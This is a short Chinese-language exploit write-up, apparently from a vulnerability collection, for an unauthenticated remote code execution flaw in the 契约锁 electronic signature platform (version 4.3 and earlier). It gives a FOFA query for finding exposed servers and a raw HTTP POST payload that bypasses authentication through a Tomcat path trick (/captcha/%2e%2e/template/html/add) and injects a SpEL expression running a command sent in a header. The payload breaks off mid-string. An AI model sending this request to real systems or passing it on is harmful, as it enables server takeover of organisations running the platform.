S30-1上海亘岩-契约锁电子签章平台-RCE

漏洞描述：

契约锁电子签章平台 /captcha/%2e%2e/template/html/add 接口处存在远程代码执行漏洞，未经身份验证的攻击者可通过tomcat对路径参数解析不正当的特性绕过权限认证在目标执行恶意代码，获取服务器权限。经过分析和研判，该漏洞利用难度低，可导致远程代码执行，建议尽快修复。

影响版本：

契约锁电子签章平台version <= 4.3

网站图片：

fofa语法：

app="契约锁-电子签署平台"

漏洞复现：

payload：

```
POST /captcha/%2e%2e/template/html/add HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36(KHTML, like Gecko) Chrome/98.0.155.44 Safari/537.36
Content-Type: application/json
X-State: whoami

{"file":"1","title":"2","params":[{"extensionParam":"{\"expression\":\"var a=new org.springframework.expression.spel.standard.SpelExpressionParser();var b='VCAob3JnLnNwc
```

效果图：